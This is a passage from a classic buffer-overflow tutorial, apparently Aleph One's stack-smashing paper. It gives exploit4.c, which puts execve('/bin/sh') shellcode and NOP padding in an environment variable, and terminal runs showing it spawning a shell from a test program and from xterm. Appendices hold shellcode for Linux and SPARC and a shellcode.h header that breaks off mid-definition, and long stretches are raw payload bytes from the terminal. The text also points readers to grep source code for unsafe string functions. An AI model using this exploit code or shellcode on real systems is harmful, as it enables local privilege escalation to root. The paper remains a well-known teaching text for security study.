ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤ ¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H ¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿

65

H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿

66

Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell. Small Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~ There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables. What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want. The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated

67

elsewhere. The stack at the beginning then looks like this: <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp> Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this: exploit4.c ------------------------------------------------------------------------------ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg;

68

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Lets try our new exploit with our vulnerable test program: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Works like a charm. Now lets try it on xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name "°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°

69

¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿

70

°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets.

71

Finding Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow. Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited. To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d.

72

Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1

73

xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = 